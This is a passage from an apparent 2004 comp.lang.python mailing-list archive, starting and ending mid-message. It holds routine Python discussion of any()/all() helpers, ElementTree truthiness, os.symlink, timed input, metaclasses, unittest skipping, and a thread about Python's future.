is a feature people will use, or if it's a feature people just say
they'll use.


From steven.bethard at gmail.com  Thu Sep 23 11:12:00 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 23 Sep 2004 15:12:00 +0000 (UTC)
Subject: for_some(),for_all()?
References: <opseqmpvg86yt6e7@news.cisco.com>
	<cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05>
Message-ID: <loom.20040923T170811-428@post.gmane.org>

Raymond Hettinger <vze4rx4y <at> verizon.net> writes:
> For pure speed, the following is faster and gives short-circuit behavior:
> 
> >>> from itertools import ifilter
> >>> def any(seq, pred=None):
> ...     for elem in ifilter(pred, seq):
> ...         return True
> ...     return False

So, the other one also has short-circuit behavior:

>>> def any(seq, pred=bool):
...     return True in imap(pred, seq)
...
>>> def pred(x):
...     return x > 3
...
>>> i = iter(range(10))
>>> any(i, pred)
True
>>> list(i)
[5, 6, 7, 8, 9]

Could you explain what makes the second one faster?  I'm guessing it's 
something like that comparing True to each element in the iterable costs more 
than binding each element in the iterable to elem...?

Thanks,

STeve



From fredrik at pythonware.com  Mon Sep 27 16:41:04 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 27 Sep 2004 22:41:04 +0200
Subject: elementtree behavior
References: <cj9j8m$jn4$1@license1.unx.sas.com>
Message-ID: <cj9tp4$ru0$1@sea.gmane.org>

Tim Arnold wrote:

>I have an XML snippet that I parse with ElementTree, and I get an element
> called self.makeToc
>
> Now this code:
>
>        print self.makeToc
>        if self.makeToc != None:
>            print 'here'
>            if self.makeToc: print 'but not here'
>
> gives this result:
> <Element toc at 40197e88>
> here
>
> Clearly self.makeToc has a value, so why isn't "if self.makeToc"  True?
> That is, if self.makeToc isn't None, why don't I get past 'if self.makeToc'

because it's a sequence without any items.

this is discussed in the element overview:

    http://effbot.org/zone/element.htm

    Note that in ElementTree 1.2 and earlier, the sequence behaviour
    means that an element without subelements tests as false (since it's
    an empty sequence). To check the return value from a function or
    method that may return None instead of a node, you must use an
    explicit test.

    node = fetchnode()

    if not node: # careful!
        print "node not found, or node has no subnodes"

    if node is None:
        print "node not found"

</F> 





From fredrik at pythonware.com  Sun Sep 19 13:20:14 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 19 Sep 2004 19:20:14 +0200
Subject: Need to create a soft link to a file
References: <cikdik$rm0$07$1@news.t-online.com>
Message-ID: <cikf0m$o7c$1@sea.gmane.org>

"Markus" <m.a.r.k at gmx.de> wrote:

> I'm running on Mac OS X and need to create a soft link to a file.
>
> I tried both makealias() and link(). While makealias creates a Finder alias just fine my 
> application that needs to read the reference file doesn't like this. link() produces 1) a hard 
> link and b) gives me the following error:  OSError: [Errno 45] Operation not supported
>
> I guess what I'm looking for is a way to call the Unix ln command from within my python program.

A plain "ln" uses link(), of course.  Assuming you meant "symbolic link"
and "ln -s", and that Mac OS X works like other Unixes, the function
you're looking for is called os.symlink:

>>> help(os.symlink)

symlink(...)
    symlink(src, dst)

    Create a symbolic link.

Hope this helps!

</F> 





From fredrik at pythonware.com  Sun Sep 19 06:00:09 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 19 Sep 2004 12:00:09 +0200
Subject: Need function like "raw_input", but with time limit
References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com>
Message-ID: <cijl7i$3no$1@sea.gmane.org>

"Radioactive Man" <rm at rm.rm> wrote:

> anyone know of a function like "raw_input", which collects a string
> from the user entry, but one where I can set a time limit, as follows:
>
> time_limit = 10    # seconds
> user_answer = function_xyz("GIVE ME AN ANSWER:  ", time_limit)

this works on some platforms:

import signal, sys

def alarm_handler(*args):
    raise Exception("timeout")

def function_xyz(prompt, timeout):
    signal.signal(signal.SIGALRM, alarm_handler)
    signal.alarm(timeout)
    sys.stdout.write(prompt)
    sys.stdout.flush()
    try:
        text = sys.stdin.readline()
    except:
        text = ""
    signal.alarm(0)
    return text

</F> 





From julioperezsosa at yahoo.com  Sun Sep 19 18:20:24 2004
From: julioperezsosa at yahoo.com (julio)
Date: Sun, 19 Sep 2004 18:20:24 -0400
Subject: python is going to die! =(
References: <cikveo$fld$1@sea.gmane.org>
Message-ID: <cil0nb$i13$1@sea.gmane.org>

julio wrote:

> C?#?is?easy?to?use,fast?apps?coding?(as?python)?but!!?it?has?all?the
> advantages of a compiled language 

 i mean static typed, sorry.




From agriff at tin.it  Wed Sep  1 02:04:17 2004
From: agriff at tin.it (Andrea Griffini)
Date: Wed, 01 Sep 2004 06:04:17 GMT
Subject: Splitting a list
References: <mailman.2673.1093960462.5135.python-list@python.org>
Message-ID: <acpaj019unipsq6gngdu4aru04hd6vrg9e@4ax.com>

On Tue, 31 Aug 2004 09:54:17 -0400, "Ian Sparks"
<Ian.Sparks at etrials.com> wrote:

>string.split() is very useful, but what if I want to split a list of integers on some element value?

Here are a few early-morning attempts :-)

def lsplit(L,sep):
    try:
        i = L.index(sep)
        return [L[:i]] + lsplit(L[i+1:],sep)
    except ValueError:
        return [L]

def lsplit2(L,sep):
    i = 0
    res = []
    while True:
        try:
            j = L.index(sep,i)
            res.append(L[i:j])
            i = j+1
        except ValueError:
            res.append(L[i:])
            break
    return res

def lsplit3(L,sep):
    i = 0
    while True:
        try:
            j = L.index(sep,i)
            yield L[i:j]
            i = j+1
        except ValueError:
            yield L[i:]
            break


HTH
Andrea


From exarkun at divmod.com  Fri Sep  3 11:32:27 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Fri, 03 Sep 2004 11:32:27 -0400
Subject: print with no newline
In-Reply-To: <F1921F85572CB04D9F55B14BDC76B3E4434A40@iron.ima.umn.edu>
References: <F1921F85572CB04D9F55B14BDC76B3E4434A40@iron.ima.umn.edu>
Message-ID: <41388E8B.5090308@divmod.com>

Tim Golden wrote:
> [Jp Calderone]
> | Basically, print is only meant to help people new to the 
> | language get started ;)  
> | It often does what will make life easiest for someone who is 
> | just getting into things, but which is otherwise confusing, expected, 
> | special-casey, or otherwise undesirable.  I mean, the whole 
> | existence of the keyword "print" is an inconsistency, right?  
> | One could quite reasonably expect print to be a function.
> 
> This point of view comes up from time to time on the list
> and for the life of me I can't buy into it. Putting aside
> the obviously tongue-in-cheek implication that only beginners
> would use print, I have almost never found print to be
> "confusing... or otherwise undesirable". It does exactly
> what I expect it to do with the minimum of syntactic clutter.

   Have you ever run into or relied on the behavior that started this 
thread?  I can't imagine how you might deduce that behavior from the 
rest of print's behavior.

   Let me also clarify - I use print all the time.  It's quite 
convenient and rarely does something other than what I intend.  That 
said, almost all my uses of it are for debugging or in the interactive 
interpreter when investigating some object or behavior.  I can't 
remember the last time I left it in a real program.

> [snip]
> 
> I would *not* reasonably expect print to be a function. Why
> should it be? Certainly any move to remove the print statement
> from the language or to replace it by a print function would
> get my thumbs-down (or whichever way round the Romans did it).
> 

   Lots of other people expect it to be a function.  I can't count the 
number of times I've read this in someone's code:

     print(x)

   That said, I don't propose changing it.

   Jp


From donnal at donnal.net  Tue Sep 14 07:52:14 2004
From: donnal at donnal.net (Donnal Walter)
Date: Tue, 14 Sep 2004 06:52:14 -0500
Subject: comparing datetime with date
Message-ID: <ci6m1f$goq$1@sea.gmane.org>

I was very surprised to discover that

 >>> import datetime
 >>> x = datetime.date(2004, 9, 14)
 >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15)
 >>> print x == y
True

How can these two objects be considered equal? Is there a *general* way 
to test for date != datetime as well as 4.5 != 4.6?

Donnal Walter
Arkansas Children's Hospital




From drysdam at ll.mit.edu  Fri Sep 24 08:15:33 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Fri, 24 Sep 2004 08:15:33 -0400
Subject: Python and Sybase
In-Reply-To: <87wtyksoaa.fsf@pobox.com>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <87wtyksoaa.fsf@pobox.com>
Message-ID: <FdU4d.54$26.48@llslave.llan.ll.mit.edu>

John J. Lee wrote:
> David Rysdam <drysdam at ll.mit.edu> writes:

> 
>>Also, is there any module that provides a generic DB API and can be
>>hooked to both Sybase and postgresql?  This
>>(http://www.python.org/peps/pep-0249.html) looks pretty old.
> 
> 
> Not a single module -- why would you want one?
> 
> The DB API (version 2) is the standard.  The idea of the DB API is to
> make it possible to write DB API code that works across multiple
> database backends.  No need at all for a single module, just a single
> standard.  Unfortunately, making this work is not entirely trivial:
> There are some stupid issues that are the fault of the DB API -- SQL
> argument substitution syntax in particular -- and some trickier ones
> -- particularly the variations in the capabilities of DBMSes.  If you
> want your code to work across multiple DBMS backends, you should test
> it with those DBMSes from the start.  Doing it later is possible but
> may be hard work (made less difficult if you keep your DB code
> localised).

Yes, I posted this question before I understood what the DB API was. 
Looks good.


From steve at holdenweb.com  Thu Sep 30 08:19:38 2004
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 30 Sep 2004 08:19:38 -0400
Subject: embedding python in python
In-Reply-To: <415b415e$1@news.unimelb.edu.au>
References: <415a7f0b$1@news.unimelb.edu.au>
	<4b39d922.0409290938.42c68ca4@posting.google.com>
	<415b415e$1@news.unimelb.edu.au>
Message-ID: <pVS6d.1780$TY2.461@lakeread04>

Maurice LING wrote:

> Lonnie Princehouse wrote:
> 
>> Maurice LING <mauriceling at acm.org> wrote in message 
>> news:<415a7f0b$1 at news.unimelb.edu.au>...
>>
>>> Hi,
>>>
>>> anyone had any experiences in embedding python in python?
>>>
>>> I've tried to do this but it doesn't work.
>>>
>>> eval("from Tkinter import *")
>>>
>>> Thanks
>>> maurice
>>
>>
>>
>> You need exec for statements:
>>
>>     exec("from Tkinter import *")
> 
> 
> Thank you.
... and note that exec is a statement introduced by a keyword, not a 
function call, so

exec "from Tkinter import *"

is a less misleading way to write it.

regards
  Steve


From rkern at ucsd.edu  Mon Sep 20 17:27:28 2004
From: rkern at ucsd.edu (Robert Kern)
Date: Mon, 20 Sep 2004 14:27:28 -0700
Subject: Just curious
In-Reply-To: <pan.2004.09.20.20.45.09.246503@NOSPAMrosecott.ukfsn.org>
References: <pan.2004.09.20.20.45.09.246503@NOSPAMrosecott.ukfsn.org>
Message-ID: <cini01$4k1$1@news1.ucsd.edu>

Ken Parkes wrote:
> I understand usual practise to involve responding to a posting within the
> original thread.   In this group there seem to be many responses to a
> question which start a new thread; viz. <new python book!!> by vegetax
> leads to a new thread <Re:new python book!!> by Gerrit.  Ditto <How does
> this function work?>.   Is this a peculiarity of something Pythonites are
> using, or is there a different protocol here?

Some people are reading from and responding to c.l.py from the mailing 
list interface. Their responses don't always thread correctly in some 
newsreaders.

I will note that Thunderbird usually places responses in the right 
thread if not always in the right place. And sometimes it starts new 
threads from replies, too, so it's not perfect.

> Ken.

-- 
Robert Kern
rkern at ucsd.edu

"In the fields of hell where the grass grows high
  Are the graves of dreams allowed to die."
   -- Richard Harter


From alban at magproductions.nl  Tue Sep 21 09:48:26 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Tue, 21 Sep 2004 15:48:26 +0200
Subject: Psycopg and threads problem
In-Reply-To: <Q6ydnacWDYOvmdLcRVn-hQ@giganews.com>
References: <cimj9q$7jr$1@netlx020.civ.utwente.nl>
	<0fidnS729Ln4bdPcRVn-hQ@giganews.com>
	<414EF5BC.9010002@magproductions.nl>
	<GrmdnVp_Prbtn9LcRVn-gw@giganews.com>
	<Q6ydnacWDYOvmdLcRVn-hQ@giganews.com>
Message-ID: <4150312A.8040105@magproductions.nl>

Istvan Albert wrote:
> Istvan Albert wrote:
> 
>> have a commit at the end of your insert threads. That way
>> when all the inserts are finished the data will be available
>> for the combine thread.
> 
> I forgot this, if the commit after insert is unfeasible
> you could store the db connections in a data structure shared across 
> threads
> and if/when all the insert threads complete without errors you can call 
> commit
> on each of these before the combine thread.

That's what I already do, actually. It would be kind of difficult to use 
the same database session/transaction amongst different connections 
(that, as mentioned, could incidentally be the same due to pooling).

I pass an application context to every object in the application, and 
that includes a database connection. I spawn cursors from that single 
connection.

> Sounds a bit hackish though, just an idea.

Not really, if you want to use the transaction handling in your DBMS.

> Istvan.


From ml at dynkin.com  Thu Sep 23 10:10:56 2004
From: ml at dynkin.com (George Yoshida)
Date: Thu, 23 Sep 2004 23:10:56 +0900
Subject: unittest: new reporting category "skipped"
In-Reply-To: <mailman.3772.1095935910.5135.python-list@python.org>
References: <mailman.3772.1095935910.5135.python-list@python.org>
Message-ID: <ciulfp$1kp9$1@dojima-n0.hi-ho.ne.jp>

Remy Blank wrote:

> Hello unittest users,

> A third solution, and the one I would like to have feedback about,
> is to add the notion of a "skipped" test to unittest. Currently,
> test results are given in terms of tests having either succeeded,
> failed, or generated an error. What about adding a fourth result
> type, skipped, that is also reported at the end of the suite?
> 
> I imagine something like this:
> 
> class AnythingTest(unittest.TestCase):
> 	def testSomethingAsRoot(self):
> 		self.skipIf(os.geteuid() != 0, "Must be root")
> 
> 		self.assertEqual(...)
> 		...
> 
> 	def testSomethingAsNormalUser(self):
> 		self.skipIf(os.geteuid() == 0, "Must be normal user")
> 
> 		self.assertEqual(...)
> 		...
> 
> skipIf() would throw a skippedTestException that would be caught
> in TestCase.__call__(). TestResult would be extended with an
> addSkipped() function. The reporting in text mode could be as follows:
> 
> FAILED (failures=1, skipped=7)
> 
> or
> 
> OK (skipped=7)
> 
> Comments? Ideas?
> 
> If the echo is positive, I will make an initial implementation and
> provide a patch for feedback.

Check out TestSkipped.
It's already implemented as a part of utility functions for 
unittest module and heavily used in Lib/test directory.
Here's a simple example:

from test.test_support import TestSkipped

class AnythingTest(unittest.TestCase):
     def testSomethingAsRoot(self):
         if os.geteuid() != 0:
             raise TestSkipped, "Must be root"

         self.assertEqual(...)
         ...

     def testSomethingAsNormalUser(self):
         if os.geteuid() == 0:
             raise TestSkipped, "Must be normal user"
         self.skipIf(os.geteuid() == 0, "Must be normal user")

         self.assertEqual(...)
         ...

George


From __peter__ at web.de  Sun Sep 19 03:24:48 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 19 Sep 2004 09:24:48 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com> <%fa3d.3867$%42.1942@trndny08>
Message-ID: <cijc81$obs$01$1@news.t-online.com>

Chris S. wrote:

>> Starting with Python 2.4 there will be the 'decimal' module supporting
>> "arithmetic the way you know it":

> Great, why fix what's broken when we can introduce a new module with an
> inconvenient API.

1. It ain't broken.
2. What fraction of the numbers in your programs are constants?

Peter




From jarrodhroberson at yahoo.com  Mon Sep 20 18:44:19 2004
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 20 Sep 2004 15:44:19 -0700
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>	<Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
	<mailman.3524.1095636290.5135.python-list@python.org>
Message-ID: <c718a6cf.0409201444.484ddfb1@posting.google.com>

julio <julioperezsosa at yahoo.com> wrote in message news:<mailman.3524.1095636290.5135.python-list at python.org>...
> DilbertFan wrote:
> 
> > Do what you like to do. Do what's fun. What does Julio like to do?  Do
> > that, Julio.
> > 
> > 
> 
> mmm , i like to program , i like open source i hate m$ , i like python , i
> dont like c# cause its still in m$ domains , i like c# monodevelop and
> sharpdevelop and there is no real python ide avaiable so i dont have to
> memorize the 2000 libraries and functions and their behavior to think about
> programing seriusly, and the python proyects,adoption and development is
> decreasing more and more. so ..

there are lots of "real python ides" you are just lazy or too stupid
to find them.
Komodo is awesome, there is even a plugin that works in Visual Studio,
and lots and lots of others, I think that lazy / stupid is the
problem.


From marfadeut at gmx.de  Sat Sep 25 18:23:10 2004
From: marfadeut at gmx.de (M. Faust)
Date: Sun, 26 Sep 2004 00:23:10 +0200
Subject: f2py error - windows xp (F2PY-2.43.239_1806)
In-Reply-To: <m2zn3eq9xi.fsf@pchoel.psh>
References: <cj4pgc$7dr$3@online.de> <m2zn3eq9xi.fsf@pchoel.psh>
Message-ID: <cj4r5l$9nm$1@online.de>


I got the same error with NumPy 23.3.

Markus


From marc at snafu.org  Tue Sep  7 14:46:06 2004
From: marc at snafu.org (Marco S Hyman)
Date: 07 Sep 2004 11:46:06 -0700
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<opsdxecgt8pqzri1@mjolner.upc.no>
	<t7mjhc.ubd.ln@via.reistad.priv.no>
Message-ID: <x73c1t3ok1.fsf@neko.snafu.org>

Morten Reistad <firstname at lastname.pr1v.n0> writes:


> First ISP         : 1983 (uunet, EUnet followed next year)

I thought PSINET claimed to be the first.   Let's see....

http://www.zakon.org/robert/internet/timeline/ claimes UUNET wasn't
founded until 1987 and doesn't mention PSINET until '91 when CIX
was created.  Oh well.

Interesting charts regarding the growth from about '90 on at the
bottom of that page.

/ marc


From ben at benlast.com  Sat Sep 11 08:34:54 2004
From: ben at benlast.com (Ben Last)
Date: Sat, 11 Sep 2004 13:34:54 +0100
Subject: UPNP, Media & Python
Message-ID: <HLEGKHKIKMEHENBAEIEPEENNCHAA.ben@benlast.com>

I've been messing around with my Netgear MP101 and alternate servers.  I
like the MP101, but the server that comes with it leaves a lot to be desired
(like you need to have it running on a logged-in Windows machine.  Gag me
with a spoon).  So my thought naturally turned to whether it's feasible to
write a replacement in Python.  After all, UPnP is really just XML via HTTP
over UDP...

Half-an-hour's Googling later, it looks like it's a bigger job, but what
especially intrigued me is that there seem to be no Python UPNP frameworks,
when I'd have thought it was a pretty good match.  So - does anyone know any
different?  Is there a working UPNP implementation on which I could slap a
Mediaserver implementation?

Inquiring minds want to know...
ben



From nobody at nowhere.com  Wed Sep 22 22:35:41 2004
From: nobody at nowhere.com (Yannick Turgeon)
Date: Wed, 22 Sep 2004 22:35:41 -0400
Subject: Newby Project
References: <415230f9@dnews.tpgi.com.au>
Message-ID: <1Eq4d.20672$pA.1421471@news20.bellglobal.com>

If you like problem solving, you could go there, in "Archive":
http://ipsc.ksp.sk/

It will probably be more thinking than coding but use python to solve those
problems and time will fly away!


dit wrote:

> I want to start something small, like a learning program. I've been
> looking and learning python for about 4 months; and I think that I have
> the basics under my belt... is it worth trying my own project, or is it
> better to continue with the py tutes?
> 
> Also if I was to start, how do I pose myself the question of what am I
> actually trying to achieve / what am I trying to make?
> 
> 
> any comments and suggestions welcome.
> 
> 
> 
> //dit\\\



From luismg at gmx.net  Sun Sep  5 01:59:51 2004
From: luismg at gmx.net (Neuruss)
Date: 4 Sep 2004 22:59:51 -0700
Subject: [IronPython] Jim Hugunin's web log.
References: <mailman.2627.1093893089.5135.python-list@python.org>
	<x4udnSFnNtVUW67cRVn-qQ@speakeasy.net>
	<278de0e.0408302346.62cfc40b@posting.google.com>
	<VFs_c.5174$g%5.76435@news2.e.nsc.no>
Message-ID: <278de0e.0409042159.2e743d89@posting.google.com>

> How naive are you?

I don't think I'm naive. I just don't suffer paranoia.

Regarding Ironpython, I just love to see it alive.
I love python, and I want to see it running everywhere. What's the
problem with python in the CLR? None! One place more to see it
running!

And if you don't like Microsoft, or you just hate it, or if you're one
of those guys who think that Redmond is ploting to destroy the world,
well, you still can use Cpython or Jython. You choose, it's up to you.

I just think that, being Microsoft and .NET (and now Mono and soon
dotgnu) so ubiquitous, it wont harm Python if someone creates an
implementation to take full advantage of this framework.

Hugunin already did an excellent job with Jython, and it's hard to
believe that while working for the evil empire he will come up with
the seed of destruction for python...


From aleaxit at yahoo.com  Wed Sep 29 09:50:43 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 29 Sep 2004 15:50:43 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<60dfb6f6.0409281126.48c277d9@posting.google.com>
	<tyfsm91edqb.fsf@pcepsft001.cern.ch>
Message-ID: <1gkvl7l.1y2xyfm1tal42xN%aleaxit@yahoo.com>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote:

> imbosol at aerojockey.com (Carl Banks) writes:
> 
> >     def alltuple(name,bases,clsdict):
> >         return tuple(clsdict.values())
> >             __metaclass__ = alltuple
> 
> WBMSWA12FB !
> 
> It never occurred to me that a metaclass didn't have to be a _class_.

You should have seen Guido's face when he first saw me give a
presentation on "use and abuse of custom metaclasses" -- apparently,
judging from his horrified expression, it hadn't occurred to him,
either, and he didn't like it half a bit... since then I've been quite
careful against actually using this idea in production code.

Actually I believed I showed something more like:

class whatever:
    def __metaclass__(clsname, clsbases, clsdict):
        return <I don't remember what>
    ...etc etc...

i.e., an "anonymous metaclass", so to speak.  But that's a minor aspect.
After all, something like:

class yetanother:
    class __metaclass__(type):
        ...etc etc...

is just as so-to-speak "anonymous" yet IS nowadays quite an accepted
idiom...!


Alex


From jjl at pobox.com  Sat Sep 25 08:31:11 2004
From: jjl at pobox.com (John J. Lee)
Date: 25 Sep 2004 13:31:11 +0100
Subject: Unexpected result.
References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca>
	<sMudnfJId4X_vM7cRVn-hg@comcast.com>
	<7xmzzg4tev.fsf@ruckus.brouhaha.com>
Message-ID: <87d60aa5tc.fsf@pobox.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:

> "Larry Bates" <lbates at swamisoft.com> writes:
> > Actually the result is exactly as expected.  Programming 101 teaches
> > us not to reuse loop variables in nested loops.
> 
> Programming 101 usually doesn't say whether a nested loop introduces a
> new scope or not.  If there's a new scope, it's not re-use of a variable.

Whether the OP's usage is "re-use of a variable" is a matter of how
you choose to define the words in that phrase, I suppose.  But even in
a hypothetical Python-like language that works the way Grzegorz
expected, whatever you choose to call the usage of the name i in G's
example, I call it "a bad idea".

I assume you didn't mean to imply that the OP's example wouldn't be
better if written with a differently-named loop variable, even in such
a language?:


>>> for i in ('a','b','c'):
...     for j in (1,2,3):
...         print j,
...     print i,
...
1 2 3 a 1 2 3 b 1 2 3 c



John


From jerf at jerf.org  Sun Sep 19 20:52:09 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Mon, 20 Sep 2004 00:52:09 GMT
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<pan.2004.09.20.19.27.30.753994@jerf.org>
	<mailman.3525.1095638033.5135.python-list@python.org>
Message-ID: <pan.2004.09.20.22.00.21.437368@jerf.org>

On Sun, 19 Sep 2004 19:53:38 -0400, julio wrote:
> So am i missing something ? are any of my arguments wrong ?

Your arguments are *boring*. You think in zero-sum terms. I wouldn't
refute your "arguments", I'd have to refute your entire boring
*philosophy*. If I shared your philosophy, I'd be in either Java or .NET.
Python isn't .NET, isn't going to be .NET, *shouldn't* be .NET just
because some random "julio" wants Python to be .NET. Obligatory mentioning
of IronPython and standard exhortation to go forth and Google.

You weren't arguing, you were declaring and trolling. Meeting your
trolling with arguments is the wrong answer. 

Again, C# and its community, wherein I'm sure you'll find a lot of
support and agreement, is that-a-way --->



From FBatista at uniFON.com.ar  Thu Sep  9 16:24:03 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 9 Sep 2004 17:24:03 -0300 
Subject: Is there no switch function in Python
Message-ID: <A128D751272CD411BC9200508BC2194D053C7927@escpl.tcp.com.ar>

[Rudi Hansen]

#- I dont seem to be able to find the switch statement in Python.

Read the FAQ:

http://www.python.org/doc/faq/general.html#why-isn-t-there-a-switch-or-case-
statement-in-python

.	Facundo


From davebrok at soda.csua.berkeley.edu  Sun Sep 19 21:02:08 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Sun, 19 Sep 2004 18:02:08 -0700
Subject: memory allocation
References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au>
	<pan.2004.09.19.18.28.33.473150@optusnet.com.au>
Message-ID: <wKKdnQdfZYYRsdPcRVn-uQ@lmi.net>


<benevilent at optusnet.com.au> wrote in message
news:pan.2004.09.19.18.28.33.473150 at optusnet.com.au...
> My latest understanding is that the default memory allocation will result
> in arenas being created to fulfill the maximum memory requirements of the

This is all correct, but you're probably attacking the problem from the hard
end. Perhaps
some C code has forgotten to DECREF a dead object. See section 1.10 of

http://docs.python.org/ext/ext.html

David Pokorny





From bgabriel at cloudthunder.com  Wed Sep 29 19:16:30 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Wed, 29 Sep 2004 19:16:30 -0400
Subject: Social Analysis and Modeling for Python
In-Reply-To: <1096493975.1238.45.camel@emilio>
References: <415AD6A4.7000400@cloudthunder.com>
	<1096493975.1238.45.camel@emilio>
Message-ID: <415B424E.7070903@cloudthunder.com>

I would be most willing to work with you in insuring that the specifics 
of public health are accounted for and one is then able to witness and 
experiment with the varying outcomes of various health promotion 
campaigns and interventions. 

Cameron was indeed correct to point out pre-existing efforts in this 
area, and I immediately corrected the wording so as we no long assert 
that we will be "introducing" OOP to the social sciences.  Cameron 
verified that I had corrected the issue appropriately.  Pre-existing 
efforts will be acknowledged on our website pending its launch.  The PSF 
has made clear that they favor concise proposals, and such references 
within the proposal would extend beyond the scope of the call. 

By "other" GPL, I assume you mean LGPL?  We most likely will use the GPL 
but this may be discussed further.  It has not been etched in stone as yet.

Thank you for your encouragements and enthusiastic commentary.  We very 
much value feedback.

Let me know if you would like to participate in the project.

Sincerely,
Bishara Gabriel


From aleaxit at yahoo.com  Mon Sep 27 10:47:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 27 Sep 2004 16:47:31 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<mailman.3957.1096289972.5135.python-list@python.org>
	<1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com>
	<mailman.3960.1096294403.5135.python-list@python.org>
Message-ID: <1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> On Mon, 27 Sep 2004 15:27:31 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> > > 1) One such idea is to provide the metaclass with a __dict__ factory.
> > 
> > If you go that route, then it may indeed require changes too deep for
> > 2.5 or 2.anything.  The metaclass gets determined later, at the time
> > CALL_FUNCTION executes the metaclass ain't in play yet.
   ...
> time frame. But for now, I have only one question. You said that the
> metaclass is determined later. I'm not familiar with Python's
> internals, but I (naively?) assumed that the metaclass is known very
> early in the class declaration process. Is that wrong?

I'm confused as to why you would assume that and what you mean by
'declaration'.  I'll take it that you mean the _execution_ of the class
_statement_, in which case I really can't see how you could assume any
such thing.  You _do_ know that __metaclass__ can be set anywhere in the
class body, for example, right?  So how could Python know the metaclass
before it's done executing the class body?  Yet it's exactly in order to
execute the class body in the modified way you desire, that Python would
need to set a certain frame's f_locals differently from the usual dict.

In other words, it's not an issue of implementation details that could
be tweaked while leaving current semantics intact: if you insist that it
must be the _metaclass_ which determines what kind of mapping object is
used for the f_locals of the frame where the class's body executes, then
it cannot be possible any more to determine the metaclass with today's
semantics (which I think are pretty fine, btw).

Come to think of it, this might be a great role for class-decorators.
If I had a way to tweak the kind of f_locals for a _function_, the
general semantics of today's function decorators would be fine (the
tweak might be attached after the function object is built, since it's
only needed when that function gets _called_).  But for a class, by the
time the class body starts executing, it's too late, because it must be
executing with some kind of f_locals in its frame.  So, class decorators
would have to be given a chance _before_ the class body runs.

> obs 1: If it's possible to determine the metaclass *early*, then it's
> no problem to call any extra function to provide the f_locals dict, or
> to provide an augmented dict.

But Python can never be sure what the metaclass will be until the class
body is done executing, far too late.  Basically, you'd need to forbid
the current possibility of setting __metaclass_ in the class body, plus,
you'd have to get deep into analyzing the bases before executing the
class body -- and if you look at what types.ClassType does to delegate
the metaclass choice to other bases if it possibly can, you'll probably
agree that this nicety has to be abrogated too.

All in order to have the f_locals' kind be set by the *metaclass* rather
than by other means -- honestly, it seems the price is too high, unless
there are some big advantages connected by the choice of metaclass vs
other means that I fail to see.  What's so terrible about my q&d idea of
having a sys._something function do the job, for example?  Then once we
have the ability to do the setting we can think of nice syntax to dress
it up.  But the mods to ceval.c needed to accept any kind of setting for
f_locals' type seem a pretty big job already, without needing to put up
the hurdle that the metaclass must be determined early, too...


Alex


From tim.peters at gmail.com  Tue Sep 21 15:19:55 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 21 Sep 2004 15:19:55 -0400
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <pan.2004.09.22.18.02.19.310499@jerf.org>
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<mailman.3661.1095788560.5135.python-list@python.org>
	<pan.2004.09.22.18.02.19.310499@jerf.org>
Message-ID: <1f7befae04092112196ba787b6@mail.gmail.com>

[Steven Bethard]
>> Is there a good use case for binary trees with incompatible types
at the nodes?

[Jeremy Bowers]
> See the ZODB's BTree-based storage.

If you really look at them, you'll eventually read the "Total Ordering
and Persistence" section of the BTree docs:

<http://zope.org/Wikis/ZODB/FrontPage/guide/node6.html#SECTION000631000000000000000>

It's strongly recommended there that people use a single key type per
BTree instance.  Most of that part of the docs is explaining how many
nasty ways there are to get into bad trouble by being cleverer than
that.


From max at alcyone.com  Mon Sep 27 01:10:18 2004
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 26 Sep 2004 22:10:18 -0700
Subject: Unary plus operator and __pos__
References: <mailman.3948.1096260645.5135.python-list@python.org>
Message-ID: <4157A0BA.E3DE876@alcyone.com>

Carlos Ribeiro wrote:

> Now I'm curious about the operator itself. Why is  the unary plus
> operator associated with the __pos__ magic method? I' can't see a
> relation here, and I could not find much info (although I haven't
> really looked very hard :-)
> 
> Anyone knows why is it so?

